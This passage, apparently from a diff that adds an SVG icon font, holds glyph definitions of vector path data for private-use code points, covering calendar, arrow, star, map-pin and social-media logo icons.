+d="M768 640v128h128v-128h-128zM768 896v128h128v-128h-128zM768 1152v128h128v-128h-128zM512 640v128h128v-128h-128zM512 896v128h128v-128h-128zM1280 896v128h128v-128h-128zM1024 1152v128h128v-128h-128zM1280 1152v128h128v-128h-128zM1408 1664h256v-1280h-1408
+v1280h256v128h128v-128h640v128h128v-128zM1536 640v640c0 70.7842 -57.2158 128 -128 128h-896c-70.6562 0 -128 -57.2158 -128 -128v-640c0 -70.7842 57.3438 -128 128 -128h896c70.7842 0 128 57.2158 128 128zM1024 896v128h128v-128h-128zM1024 640v128h128v-128h-128z
+" />
+    <glyph glyph-name="uniF460" unicode="&#xf460;" 
+d="M1664 1280h128l-256 -768h-768l256 768h128l86.2725 256h339.455zM1300.86 1280h214.271l-43.1357 128h-128zM809.728 1536l86.2725 -256l-256 -768h-128l-256 768h128l86.2725 256h339.455zM532.864 1280h214.271l-43.1357 128h-128z" />
+    <glyph glyph-name="uniF430" unicode="&#xf430;" 
+d="M1024 1453.31l86.6562 -86.6553l-342.656 -342.656h896v-128h-896l342.656 -342.656l-86.6562 -86.6553l-493.312 493.312z" />
+    <glyph glyph-name="uniF515" unicode="&#xf515;" 
+d="M1024 1920c494.848 0 896 -401.152 896 -896s-401.152 -896 -896 -896s-896 401.152 -896 896s401.152 896 896 896zM1387.52 601.216c29.4404 0 55.6807 23.6807 55.8086 56.0645c0 33.1514 -13.0557 46.4639 -35.4561 59.5195
+c-150.4 90.1123 -325.12 135.168 -521.216 135.168c-114.433 0 -224.769 -14.4639 -335.36 -39.6797c-27.1357 -5.12012 -48.7676 -23.8076 -48.7676 -61.4404c0 -29.1836 22.6553 -56.3193 56.7041 -56.3193c11.0078 0 29.4395 5.75977 44.1592 8.83203
+c90.2402 18.6875 186.752 30.9756 282.624 30.9756c171.776 0 333.696 -41.3438 463.616 -119.808c13.5684 -8.32031 23.4238 -13.3125 37.8877 -13.3125zM1485.18 838.4c38.9121 0 69.7607 31.3594 69.8887 70.0156c0 31.8721 -11.0078 53.6318 -40.832 70.7842
+c-178.433 106.752 -405.376 165.12 -639.872 165.12c-149.76 0 -252.544 -21.248 -353.28 -48.8965c-37.248 -10.624 -55.6797 -36.7354 -55.6797 -74.8799c0 -38.7842 31.3594 -70.1436 69.8877 -70.1436c16.3838 0 26.1123 5.11914 43.5205 10.1113
+c81.1514 21.5039 179.071 37.376 292.479 37.376c221.185 0 423.168 -57.4717 568.96 -144c13.3125 -7.55176 25.6006 -15.4873 44.9277 -15.4873zM1596.29 1114.24c45.3115 0 84.6084 35.0713 84.3516 83.8398c0 42.752 -18.9434 66.0479 -46.208 81.4082
+c-202.111 118.912 -478.976 172.928 -742.016 172.928c-155.008 0 -297.472 -17.5361 -425.216 -55.168c-32.5117 -9.59961 -62.7197 -36.9922 -62.7197 -85.6318c0 -47.8721 36.7354 -85.6318 84.4795 -85.6318c16.5117 0 33.0244 6.39941 46.0801 9.72754
+c113.024 30.5918 236.416 43.0078 357.888 43.0078c243.328 0 495.104 -53.5039 657.28 -150.784c17.0244 -9.34375 27.7764 -13.6953 46.0801 -13.6953z" />
+    <glyph glyph-name="uniF448" unicode="&#xf448;" 
+d="M512 384v1280h384v-1280h-384zM1152 1664h384v-1280h-384v1280z" />
+    <glyph glyph-name="uniF453" unicode="&#xf453;" 
+d="M1536 2048c141.312 0 256 -114.688 256 -256v-1536c0 -141.312 -114.688 -256 -256 -256h-1024c-141.312 0 -256 114.688 -256 256v1536c0 141.312 114.688 256 256 256h1024zM1024 128c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128
+c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128zM1536 512v1280h-1024v-1280h1024z" />
+    <glyph glyph-name="uniF419" unicode="&#xf419;" 
+d="M0 256v256h2048v-256h-2048zM0 1792h2048v-256h-2048v256zM0 896v256h2048v-256h-2048z" />
+    <glyph glyph-name="uniF423" unicode="&#xf423;" 
+d="M567.936 1440.9l-267.136 -480.896h403.2v-384h-128v256h-492.8l372.864 671.104zM1644.8 960h403.2v-384h-128v256h-492.8l372.864 671.104l112 -62.207zM1088 1344c176.768 0 320 -143.232 320 -320s-143.232 -320 -320 -320s-320 143.232 -320 320
+s143.232 320 320 320zM1088 832c105.856 0 192 86.1436 192 192s-86.1436 192 -192 192s-192 -86.1436 -192 -192s86.1436 -192 192 -192z" />
+    <glyph glyph-name="uniF512" unicode="&#xf512;" 
+d="M1920 1280l-555.136 -387.968l212.863 -636.032l-553.728 394.496l-553.728 -394.496l212.991 636.032l-555.264 387.968h685.312l210.688 640l210.688 -640h685.312z" />
+    <glyph glyph-name="uniF417" unicode="&#xf417;" 
+d="M960 1792c318.08 0 576 -257.92 576 -576c0 -159.232 -64.6396 -303.36 -169.088 -407.68l-406.912 -407.04l-406.912 407.04c-104.448 104.319 -169.088 248.447 -169.088 407.68c0 318.08 257.92 576 576 576zM960 896c176.64 0 320 143.36 320 320
+s-143.36 320 -320 320c-176.768 0 -320 -143.36 -320 -320s143.232 -320 320 -320z" />
+    <glyph glyph-name="uniF410" unicode="&#xf410;" 
+d="M256 1536h1536v-128l-768 -384l-768 384v128zM256 1216l768 -384l768 384v-704h-1536v704z" />
+    <glyph glyph-name="uniF449" unicode="&#xf449;" 
+d="M512 512v1024h1024v-1024h-1024z" />
+    <glyph glyph-name="uniF467" unicode="&#xf467;" 
+d="M1280 1280c282.752 0 512 -229.248 512 -512v-299.904l-150.016 149.889c-99.9688 99.9678 -231.04 150.016 -361.984 150.016h-256v-384l-640 640l640 640v-384h256z" />
+    <glyph glyph-name="uniF224" unicode="&#xf224;" 
+d="M1536 1792c141.312 0 256 -114.688 256 -256v-384c0 -424.064 -343.936 -768 -768 -768s-768 343.936 -768 768v384c0 141.312 114.688 256 256 256h1024zM1498.5 1189.5c50.0479 50.0479 50.0479 131.072 0 180.992c-50.0479 50.0479 -130.944 50.0479 -180.992 0
+l-293.504 -293.504l-293.504 293.504c-50.0479 50.0479 -131.072 50.0479 -180.992 0c-50.0479 -49.9199 -50.0479 -130.944 0 -180.992l361.984 -361.984l4.22363 4.22461c22.4004 -37.376 61.5684 -63.7441 108.288 -63.7441s85.8877 26.3682 108.288 63.7441
+l4.22363 -4.22461z" />
+    <glyph glyph-name="uniF203" unicode="&#xf203;" 
+d="M1664 1920c141.312 0 256 -114.688 256 -256v-1280c0 -141.312 -114.688 -256 -256 -256h-281.856v711.168h269.44l12.416 259.456h-281.984v192.384v0.255859v12.0322c0 71.2959 15.2324 114.432 108.544 114.432c86.6562 0 166.017 -0.639648 166.017 -0.639648
+l5.8877 242.304s-77.6963 9.98438 -182.528 9.98438c-259.584 0 -372.096 -159.872 -372.096 -333.952v-236.8h-254.336v-259.328h254.336v-711.296h-723.84c-141.312 0 -256 114.688 -256 256v1280c0 141.312 114.688 256 256 256h1280z" />
+    <glyph glyph-name="uniF502" unicode="&#xf502;" 
+d="M128 2048h1920l-960 -960z" />
+    <glyph glyph-name="uniF412" unicode="&#xf412;" 
+d="M1920 832l-640 -640v448h-1024v704l384 384v-704h640v448z" />
+    <glyph glyph-name="uniF440" unicode="&#xf440;" 
+d="M1152 640v-256h256l-384 -384l-384 384h256v256h256zM1664 1024c141.312 0 256 -114.688 256 -256s-114.688 -256 -256 -256h-384v256h-512v-256h-384c-141.312 0 -256 114.688 -256 256s114.688 256 256 256h6.40039c-4.09668 20.7363 -6.40039 42.1123 -6.40039 64
+c0 176.768 143.232 320 320 320c89.3438 0 169.984 -36.7363 227.968 -95.8721c60.7998 131.84 193.408 223.872 348.032 223.872c211.968 0 384 -171.904 384 -384c0 -45.1836 -9.21582 -87.8076 -23.5518 -128h23.5518z" />
+    <glyph glyph-name="uniF305" unicode="&#xf305;" 
+d="M1408 1664h256v-1280h-1408v1280h256v128h128v-128h640v128h128v-128zM1536 640v640c0 70.7842 -57.2158 128 -128 128h-896c-70.6562 0 -128 -57.2158 -128 -128v-640c0 -70.7842 57.3438 -128 128 -128h896c70.7842 0 128 57.2158 128 128zM960 1280
+c35.3281 0 64 -28.6719 64 -64v-512c0 -35.3281 -28.6719 -64 -64 -64s-64 28.6719 -64 64v448h-64c-35.3281 0 -64 28.6719 -64 64s28.6719 64 64 64h128z" />
+    <glyph glyph-name="uniF443" unicode="&#xf443;" 
+d="M1152 1664l384 -384v-121.472v-6.52832v-768h-1024v1280h512h128zM1408 512v640h-256h-128v128v256h-384v-1024h768z" />
+    <glyph glyph-name="uniF411" unicode="&#xf411;" 
+d="M1280 1728l448 -448l-896 -896h-448v448zM1280 1536l-594.688 -594.688l96 -96l594.688 594.688zM768 512l128 128l-96 96v0l-64 64v0l-96 96l-128 -128zM845.312 781.312l96 -96l594.688 594.688l-96 96z" />
+    <glyph glyph-name="uniF402" unicode="&#xf402;" 
+d="M896 1536v-256h256v-128h-256v-256h-128v256h-256v128h256v256h128zM1297.15 878.848l494.848 -494.848l-128 -128l-494.848 494.848c-94.8486 -68.9912 -210.816 -110.848 -337.152 -110.848c-318.08 0 -576 257.92 -576 576s257.92 576 576 576s576 -257.92 576 -576
+c0 -126.336 -41.8564 -242.304 -110.848 -337.152zM832 768c247.552 0 448 200.576 448 448s-200.448 448 -448 448c-247.424 0 -448 -200.576 -448 -448s200.576 -448 448 -448z" />
+    <glyph glyph-name="uniF420" unicode="&#xf420;" 
+d="M483.2 1564.8l-227.2 227.2h640v-640l-232.32 232.32c-93.0557 -92.1602 -151.68 -218.88 -151.68 -360.32c0 -238.208 163.584 -436.736 384 -493.824v-262.656c-363.008 61.0566 -640 376.064 -640 756.48c0 212.096 88.0645 402.048 227.2 540.8zM1792 1024
+c0 -212.096 -88.0645 -401.92 -227.2 -540.8l227.2 -227.2h-640v640l18.5596 -18.5596l213.761 -213.761c93.0557 92.1602 151.68 218.88 151.68 360.32c0 238.208 -163.584 436.736 -384 493.824v262.656c363.008 -61.0566 640 -376.064 640 -756.48z" />
+    <glyph glyph-name="uniF425" unicode="&#xf425;" 
+d="M704 1024c35.3281 0 64 -28.6719 64 -64s-28.6719 -64 -64 -64s-64 28.6719 -64 64s28.6719 64 64 64zM704 1280c35.3281 0 64 -28.6719 64 -64s-28.6719 -64 -64 -64s-64 28.6719 -64 64s28.6719 64 64 64zM704 768c35.3281 0 64 -28.6719 64 -64s-28.6719 -64 -64 -64
+s-64 28.6719 -64 64s28.6719 64 64 64zM896 896v128h384v-128h-384zM896 640v128h384v-128h-384zM1280 1664h256v-1280h-1152v1280h256c0 70.7842 57.3438 128 128 128h384c70.7842 0 128 -57.2158 128 -128zM832 1664c-35.3281 0 -64 -28.6719 -64 -64s28.6719 -64 64 -64
+h256c35.3281 0 64 28.6719 64 64s-28.6719 64 -64 64h-256zM1408 512v1024h-128v-128h-640v128h-128v-1024h896zM896 1152v128h384v-128h-384z" />
+    <glyph glyph-name="uniF508" unicode="&#xf508;" 
+d="M1450.5 1395.2c45.6963 -69.376 124.288 -115.2 213.504 -115.2c5.50391 0 10.4961 1.28027 15.8721 1.66406l-399.872 -799.872l-256 512l-256 -512l-128 256l-256 -512l-299.776 599.424l228.992 114.561l70.7842 -141.568l256 512l128 -256l256 512l256 -512z
+M1664 1728c106.112 0 192 -86.0156 192 -192s-85.8877 -192 -192 -192s-192 86.0156 -192 192s85.8877 192 192 192z" />
+    <glyph glyph-name="uniF507" unicode="&#xf507;" 
+d="M1792 604.544c76.2881 -44.416 128 -126.08 128 -220.544c0 -141.312 -114.688 -256 -256 -256s-256 114.688 -256 256c0 94.5918 51.7119 176.128 128 220.544v163.456c0 70.7842 -57.2158 128 -128 128h-256v-291.456c76.2881 -44.416 128 -126.08 128 -220.544
+c0 -141.312 -114.688 -256 -256 -256s-256 114.688 -256 256c0 94.4639 51.8398 176.128 128 220.544v291.456h-256c-70.6562 0 -128 -57.2158 -128 -128v-163.456c76.1602 -44.416 128 -126.08 128 -220.544c0 -141.312 -114.688 -256 -256 -256s-256 114.688 -256 256
+c0 94.4639 51.8398 176.128 128 220.544v163.456c0 212.096 171.904 384 384 384h256v291.456c-76.1602 44.416 -128 126.08 -128 220.544c0 141.312 114.688 256 256 256s256 -114.688 256 -256c0 -94.4639 -51.7119 -176.128 -128 -220.544v-291.456h256
+c211.968 0 384 -171.904 384 -384v-163.456zM1024 1792c-70.6562 0 -128 -57.3438 -128 -128s57.3438 -128 128 -128s128 57.3438 128 128s-57.3438 128 -128 128zM384 256c70.6562 0 128 57.2158 128 128s-57.3438 128 -128 128s-128 -57.2158 -128 -128
+s57.3438 -128 128 -128zM1024 256c70.6562 0 128 57.2158 128 128s-57.3438 128 -128 128s-128 -57.2158 -128 -128s57.3438 -128 128 -128zM1664 256c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128s-128 -57.2158 -128 -128s57.2158 -128 128 -128z" />
+    <glyph glyph-name="uniF306" unicode="&#xf306;" 
+d="M1151.87 1219.46c0.12793 -0.511719 0.12793 -0.896484 0.12793 -1.4082v-1.79199v-0.255859c0 -5.12012 -0.639648 -10.3682 -1.91992 -15.4883l-128 -512c-8.57617 -34.1758 -43.2637 -55.04 -77.5684 -46.5918c-34.3037 8.57617 -55.168 43.2637 -46.5918 77.5684
+l108.16 432.512h-174.08c-35.3281 0 -64 28.6719 -64 64s28.6719 64 64 64h256h1.53613h1.28027c1.02344 -0.12793 1.91992 -0.12793 2.81543 -0.255859h0.255859c30.3359 -2.68848 54.5283 -26.624 57.8564 -56.96v0c0 -0.768555 0.12793 -1.4082 0.12793 -2.04785
+v-1.28027zM1408 1664h256v-1280h-1408v1280h256v128h128v-128h640v128h128v-128zM1536 640v640c0 70.7842 -57.2158 128 -128 128h-896c-70.6562 0 -128 -57.2158 -128 -128v-640c0 -70.7842 57.3438 -128 128 -128h896c70.7842 0 128 57.2158 128 128z" />
+    <glyph glyph-name="uniF406" unicode="&#xf406;" 
+d="M2048 1920l-832 -832l832 -832l-128 -128l-832 832l-832 -832l-128 128l832 832l-832 832l128 128l832 -832l832 832z" />
+    <glyph glyph-name="uniF215" unicode="&#xf215;" 
+d="M1664 1920c141.312 0 256 -114.688 256 -256v-1280c0 -141.312 -114.688 -256 -256 -256h-1280c-141.312 0 -256 114.688 -256 256v1280c0 141.312 114.688 256 256 256h1280zM1024 1408c-212.096 0 -384 -171.904 -384 -384c0 -211.968 171.904 -384 384 -384
+c211.968 0 384 172.032 384 384c0 212.096 -172.032 384 -384 384zM1792 384v768h-274.176c10.624 -41.0879 18.1758 -83.4561 18.1758 -128c0 -282.752 -229.248 -512 -512 -512s-512 229.248 -512 512c0 44.5439 7.42383 86.9121 18.1758 128h-274.176v-768
+c0 -70.7842 57.3438 -128 128 -128h1280c70.7842 0 128 57.2158 128 128zM1792 1536v128c0 70.6562 -57.2158 128 -128 128h-128c-70.7842 0 -128 -57.3438 -128 -128v-128c0 -70.6562 57.2158 -128 128 -128h128c70.7842 0 128 57.3438 128 128z" />
+    <glyph glyph-name="uniF202" unicode="&#xf202;" 
+d="M1920 1583.74c-49.2803 -73.7285 -111.744 -138.368 -183.552 -190.208c0.767578 -15.7441 1.2793 -31.6162 1.2793 -47.4883c0 -485.76 -369.92 -1046.02 -1046.27 -1046.02c-207.616 0 -400.768 60.7998 -563.456 165.248
+c28.7998 -3.45605 58.1123 -5.24805 87.8076 -5.24805c172.032 0 330.752 58.752 456.448 157.439c-160.768 2.81641 -296.576 108.929 -343.424 255.104c22.5283 -3.96777 45.4404 -6.52832 69.248 -6.52832c33.5361 0 65.9199 4.48047 96.7676 12.7998
+c-168.319 33.792 -294.912 182.272 -294.912 360.448v4.73633c49.6641 -27.5205 106.368 -44.0322 166.528 -45.9521c-98.6875 65.9199 -163.456 178.432 -163.456 305.92c0 67.3281 18.1758 130.688 49.792 184.96c181.376 -222.464 452.353 -368.768 757.889 -384.128
+c-6.27246 26.8799 -9.60059 54.9121 -9.60059 83.7119c0 203.008 164.608 367.616 367.616 367.616c105.855 0 201.472 -44.6719 268.544 -116.096c83.584 16.5117 162.304 47.1035 233.216 89.2158c-27.3916 -85.8887 -85.7598 -157.952 -161.536 -203.393
+c74.3682 8.83203 145.152 28.5439 211.072 57.8564z" />
+    <glyph glyph-name="uniF222" unicode="&#xf222;" 
+d="M1223.94 775.936c20.0967 20.0967 52.0967 19.9688 72.0645 0c19.9678 -19.9678 19.9678 -52.9912 0 -72.96c-56.96 -56.96 -145.92 -86.0156 -270.976 -86.0156c-126.977 0 -216.064 29.0557 -273.024 86.0156c-19.9678 19.9688 -19.9678 52.9922 0 72.96
+c19.9678 19.9688 51.9678 19.9688 71.9355 0c38.0166 -38.0156 103.04 -56.0635 199.04 -56.0635c97.9209 0 162.944 18.0479 200.96 56.0635zM894.976 982.016c0 -61.0557 -49.9199 -112 -112 -112c-60.9277 0 -110.976 50.9443 -110.976 112
+c0 61.9521 49.9199 112 110.976 112c61.9521 0 112 -50.0479 112 -112zM1265.02 1094.02c61.9512 0 112 -50.0479 112 -112c0 -61.0557 -50.0488 -112 -112 -112c-61.9521 0 -112 50.9443 -112 112c0 61.9521 50.0479 112 112 112zM1698.05 1089.02
+c24.96 17.9199 43.0078 45.9512 43.1357 78.9756c0 54.0156 -44.0312 98.0479 -98.0479 98.0479c-32 0 -57.9834 -16 -76.0322 -39.04c53.8887 -39.9355 98.9443 -87.04 130.944 -137.983zM1021.06 500.992c347.904 0 631.937 177.023 632.064 393.983
+c0 219.009 -284.032 396.032 -632.064 396.032c-349.056 0 -632.96 -177.023 -632.96 -395.008s283.904 -395.008 632.96 -395.008zM306.944 1168c0 -30.9756 16 -57.9844 39.9355 -74.8799c32 50.9443 76.9277 97.0234 131.968 136.96
+c-17.9199 22.0156 -43.0078 35.9678 -72.96 35.9678c-54.9121 0 -98.9434 -44.0322 -98.9434 -98.0479zM1600 1805.06c-41.9844 0 -77.0557 -35.0713 -77.0557 -77.0557s35.0713 -77.0557 77.0557 -77.0557s77.0557 34.9434 77.0557 77.0557
+s-35.0713 77.0557 -77.0557 77.0557zM1842.94 1168c0 -75.0078 -41.9844 -137.984 -101.889 -173.056c8.95996 -32 13.9521 -64.8965 13.9521 -98.9443c0 -274.944 -329.088 -498.048 -734.08 -498.048s-734.976 222.976 -734.976 497.023
+c0 35.9688 6.01562 70.0166 16.1279 104.064c-57.9844 34.9443 -97.0244 97.0244 -97.0244 168.96c0 110.976 89.9844 200.96 200.96 200.96c66.0488 0 124.032 -32.8955 160 -82.9443c114.944 60.9287 257.024 99.9688 411.904 105.984l92.0322 456.96
+c3.07227 14.0801 11.0078 25.9844 23.04 33.0244c12.0322 8.06348 25.9834 9.9834 39.04 7.04004l312.96 -72.0645c30.9756 52.9922 88.96 89.9844 155.008 89.9844c98.9443 0 179.072 -80 179.072 -178.944s-80 -178.944 -178.944 -178.944
+c-95.1035 0 -172.032 73.9844 -178.048 167.937l-262.016 60.0322l-77.0566 -386.049c148.992 -7.93555 285.952 -46.9756 397.057 -108.031c35.9678 51.9678 94.9756 86.0156 162.943 86.0156c109.952 0 199.937 -89.9844 199.937 -200.96z" />
+    <glyph glyph-name="uniF214" unicode="&#xf214;" 
+d="M1091.2 1920v-452.992h425.216v-281.216h-425.216v-459.52c0 -103.937 5.50391 -170.624 16.6396 -200.192c10.8799 -29.3125 31.4883 -52.8643 61.3125 -70.5283c39.6797 -23.8076 84.8633 -35.7119 135.936 -35.7119c90.624 0 180.864 29.4404 270.72 88.4482v-282.624
+c-76.6719 -35.9678 -146.048 -61.3125 -208 -75.9043c-61.9512 -14.4639 -129.023 -21.7598 -201.216 -21.7598c-81.9199 0 -154.368 10.3682 -217.344 30.9756c-62.9756 20.6084 -116.608 50.3047 -161.024 88.4482c-44.5439 38.2725 -75.2637 78.9766 -92.416 122.112
+c-17.1514 43.1357 -25.7275 105.6 -25.7275 187.52v628.736h-198.016v253.568c70.3994 22.9121 130.688 55.6797 180.863 98.4316c50.3047 42.624 90.4961 93.8242 120.832 153.856c30.3359 59.7754 51.2002 135.808 62.7207 228.352h254.72z" />
+    <glyph glyph-name="uniF104" unicode="&#xf104;" 
+d="M512 1664l1152 -640l-1152 -640v1280z" />
+    <glyph glyph-name="uniF50B" unicode="&#xf50b;" 
+d="M1408 1152l-384 -384l-384 384h256v512h256v-512h256zM384 640h1280v-256h-1280v256z" />
+    <glyph glyph-name="uniF409" unicode="&#xf409;" 
+d="M1024 1664l640 -512l-128 -128v-512h-1024v512l-128 128zM1152 576v448h-256v-448h256z" />
+    <glyph glyph-name="uniF458" unicode="&#xf458;" 
+d="M1920 1024l-1024 -640v480l-768 -480v1280l768 -480v480z" />
+    <glyph glyph-name="uniF218" unicode="&#xf218;" 
+d="M1792 1152h256v-128h-256v-256h-128v256h-256v128h256v256h128v-256zM1301.5 1920l-150.528 -84.7363h-145.792c54.0166 -44.6719 167.04 -138.624 167.04 -317.439c0 -173.952 -98.8154 -256.256 -197.504 -333.952
+c-30.5918 -30.4639 -65.9199 -63.4883 -65.9199 -115.2s35.3281 -79.8721 61.1846 -101.12l84.7354 -65.792c103.424 -86.9121 197.376 -166.912 197.376 -329.216c0 -221.184 -213.888 -444.544 -618.368 -444.544c-341.119 0 -505.728 162.304 -505.728 336.384
+c0 84.6084 42.3682 204.544 181.12 286.849c145.792 89.4717 343.424 101.119 449.152 108.159c-32.8965 42.3682 -70.5283 87.04 -70.5283 159.744c0 40.1924 11.7754 63.7441 23.5518 91.7764c-25.9844 -2.04785 -51.7119 -4.6084 -75.2637 -4.6084
+c-249.216 0 -390.4 185.856 -390.4 369.28c0 108.032 49.4082 227.968 150.528 315.008c134.144 110.592 294.016 129.408 420.864 129.408h484.479zM1094.53 480.768c0 119.809 -77.5684 183.425 -256.385 310.528c-18.8154 2.30371 -30.5918 2.30371 -54.0156 2.30371
+c-21.1201 0 -148.224 -4.60742 -246.912 -37.6318c-51.8398 -18.8154 -202.368 -75.1357 -202.368 -242.304c0 -166.784 162.305 -286.848 413.952 -286.848c225.792 0 345.729 108.159 345.729 253.951zM906.496 1238.02c54.0156 54.1445 58.752 129.408 58.624 171.648
+c0 169.344 -101.12 432.768 -296.192 432.768c-61.3115 0 -127.104 -30.5918 -164.735 -77.5674c-39.9365 -49.4082 -51.7119 -112.896 -51.7119 -174.08c0 -157.568 91.6475 -418.561 294.016 -418.561c58.752 0 122.368 28.2881 160 65.792z" />
+    <glyph glyph-name="uniF513" unicode="&#xf513;" 
+d="M1920 1280l-555.136 -387.968l212.863 -636.032l-553.728 394.496l-553.728 -394.496l212.991 636.032l-555.264 387.968h685.312l210.688 640l210.688 -640h685.312zM1024 807.68l307.584 -219.136l-118.4 353.536l300.288 209.92h-371.456l-118.016 358.528v-702.849z
+" />
+    <glyph glyph-name="uniF301" unicode="&#xf301;" 
+d="M704 1152h960l-256 -640h-1024v1024h384l64 -128h448v-128h-640l-128 -256h128z" />
+    <glyph glyph-name="uniF474" unicode="&#xf474;" 
+d="M128 1408v384h384zM640 768v512h768v-512h-768zM1536 1792h384v-384zM128 640l384 -384h-384v384zM1536 256l384 384v-384h-384zM1536 1408l256 384l128 -128zM1536 640l384 -256l-128 -128zM128 384l384 256l-256 -384zM128 1664l128 128l256 -384z" />
+    <glyph glyph-name="uniF438" unicode="&#xf438;" 
+d="M1280 1792c141.312 0 256 -114.688 256 -256v-1024c0 -141.312 -114.688 -256 -256 -256h-512c-141.312 0 -256 114.688 -256 256v384h128v-128h768v768h-768v-128h-128v128c0 141.312 114.688 256 256 256h512zM1024 384c70.7842 0 128 57.2158 128 128
+s-57.2158 128 -128 128c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128zM768 896v128h-512v256h512v128l384 -256z" />
+    <glyph glyph-name="uniF451" unicode="&#xf451;" 
+d="M256 384v1280l1024 -640zM1408 1664h384v-1280h-384v1280z" />
+    <glyph glyph-name="uniF404" unicode="&#xf404;" 
+d="M1024 640c-19.8398 0 -39.04 2.43164 -57.8564 5.63184l436.225 436.225c3.2002 -18.8164 5.63184 -38.0166 5.63184 -57.8564c0 -211.968 -172.032 -384 -384 -384zM1696.26 1375.74l351.744 -351.744l-506.624 -506.624
+c-131.456 -134.272 -314.752 -217.728 -517.376 -217.728c-117.248 0 -226.944 29.3115 -324.864 79.1035l147.072 146.944c56.7041 -20.6084 115.968 -34.0479 177.92 -34.0479c144 0 279.168 56.832 380.288 160.128l372.096 372.224l-216.063 215.936zM1606.02 1722.11
+l128.641 -129.024l-1279.87 -1279.87l-128.896 128.769l128 128.128l-453.888 453.888v0l506.496 506.496c131.456 134.4 314.624 217.984 517.504 217.984c170.368 0 324.48 -61.8242 448 -160.385zM896 1024c70.6562 0 128 57.3438 128 128s-57.3438 128 -128 128
+c-70.7842 0 -128 -57.3438 -128 -128s57.2158 -128 128 -128zM1229.18 1345.28l105.729 105.728c-90.752 66.8164 -197.12 105.473 -310.912 105.473c-144.128 0 -279.168 -56.9609 -380.288 -160.385l-372.096 -372.096l318.208 -318.336l113.023 113.024
+c-38.6553 59.5195 -62.8477 129.023 -62.8477 205.312c0 212.096 172.032 384 384 384c76.2881 0 145.792 -24.1924 205.184 -62.7197z" />
+    <glyph glyph-name="uniF209" unicode="&#xf209;" 
+d="M1073.15 2048c481.664 0 798.976 -348.672 798.976 -722.944c0 -495.104 -275.328 -865.151 -680.96 -865.151c-136.32 0 -264.448 73.7275 -308.352 157.439c0 0 -73.2168 -290.943 -88.832 -347.136c-26.8809 -97.2803 -79.2324 -194.56 -127.104 -270.208
+l-148.992 54.0156c-3.58398 88.3203 -0.639648 194.049 22.0166 289.92c24.1914 102.4 162.304 687.744 162.304 687.744s-40.3203 80.6406 -40.3203 199.809c0 187.008 108.544 326.784 243.456 326.784c114.816 0 170.24 -86.1445 170.24 -189.44
+c0 -115.328 -73.7275 -288 -111.488 -448c-31.6152 -133.632 67.2002 -242.816 199.168 -242.816c239.232 0 400.128 307.072 400.128 670.977c0 276.607 -186.367 483.712 -525.184 483.712c-382.72 0 -621.312 -285.568 -621.312 -604.544
+c0 -110.08 32.5117 -187.521 83.1992 -247.424c23.5527 -27.7764 26.624 -38.9121 18.3047 -70.6562c-6.0166 -23.04 -19.9688 -78.9766 -25.7285 -101.248c-8.44824 -32 -34.3037 -43.2637 -63.2314 -31.3604c-176.257 71.6807 -258.433 264.96 -258.433 482.048
+c0 358.656 302.336 788.48 902.145 788.48z" />
+    <glyph glyph-name="uniF217" unicode="&#xf217;" 
+d="M1024 1920c494.08 0 896 -402.048 896 -896c0 -494.08 -401.92 -896 -896 -896c-493.952 0 -896 401.92 -896 896c0 493.952 402.048 896 896 896zM1112.83 1769.47c-211.2 10.4961 -420.864 -73.4717 -564.608 -220.16
+c-146.432 -144.256 -216.063 -354.176 -189.695 -551.68c23.4238 -197.248 142.592 -378.496 307.584 -476.032c160.768 -96 365.312 -104.191 530.943 -29.0557c-47.1035 -13.0557 -96.6396 -20.3516 -147.712 -20.3516c-303.487 0 -550.399 246.911 -550.399 550.399
+c0 143.872 55.6797 274.944 146.304 373.12c1.02441 1.02441 1.91992 1.91992 2.81641 2.94434c4.60742 4.73535 9.08789 9.47168 13.6953 14.208c0.512695 0.383789 0.896484 1.02344 1.4082 1.2793c128 148.353 317.056 242.177 528.256 242.177
+c221.057 0 418.176 -102.912 546.048 -263.424c-20.8633 33.5352 -44.0312 65.6631 -69.376 95.6152c-137.983 168.832 -343.68 273.408 -555.264 280.96zM1415.04 1006.21c4.35156 -90.3682 -25.3438 -182.912 -80.7676 -257.152
+c-55.5527 -73.8555 -135.169 -129.664 -225.28 -156.928c-74.8799 -22.7842 -156.544 -25.5996 -234.112 -7.04004c54.0166 -21.6318 112.896 -33.6641 174.464 -33.6641c259.968 0 471.296 211.456 471.296 471.296c0 0.768555 -0.12793 1.66406 -0.12793 2.68848
+c-13.6953 142.336 -88.1914 276.352 -200.319 359.168c-137.345 104.576 -332.288 116.864 -479.232 38.0156c-73.2158 -38.5273 -136.832 -97.1514 -176.896 -166.912c-40.5762 -69.8877 -58.4961 -151.68 -52.2246 -230.912
+c10.624 -158.976 124.8 -305.023 271.616 -345.216c146.432 -44.0322 313.344 19.584 391.936 142.849c82.5605 120.447 62.7207 293.119 -36.3516 391.68c-94.0801 104.192 -260.992 115.968 -367.872 36.8643c-54.0156 -38.6562 -92.5439 -94.3359 -105.344 -157.057
+c-13.3125 -62.0801 -1.66406 -128.64 30.4639 -181.76c32.1279 -53.7598 83.7119 -93.5684 141.952 -108.032c58.2402 -15.1035 121.6 -4.86328 171.52 25.6006c50.5605 30.4639 87.5518 80.1279 97.9199 135.68c11.3926 55.2959 -1.66406 114.432 -34.3037 158.848
+c-32.1279 45.5684 -82.8164 73.3447 -135.936 76.9287c-52.9922 4.0957 -105.856 -17.2803 -141.568 -54.2725c-36.6084 -35.9678 -52.0957 -89.0879 -44.6719 -137.855c7.55176 -48.6406 38.2715 -93.6963 80 -115.584c26.4961 -14.7207 57.4717 -19.8408 86.9121 -16.3848
+c-62.0801 1.53613 -114.177 43.2646 -131.456 100.097c-0.512695 0.767578 -1.02441 1.66406 -1.4082 2.6875c-17.9199 41.4717 -13.0557 94.3359 16.1279 133.376c28.416 38.7842 77.5684 63.3604 128.768 60.7998c51.0723 -1.66406 101.376 -33.0234 128 -78.9756
+c27.3926 -45.8242 32 -106.752 7.80859 -158.336c-24.0645 -51.7119 -73.7285 -90.2402 -131.584 -101.632c-57.4717 -12.416 -122.752 4.73535 -167.68 47.3594c-44.8008 40.96 -72.0645 104.192 -67.4561 168.32c3.83984 133.12 150.911 237.44 287.104 200.96
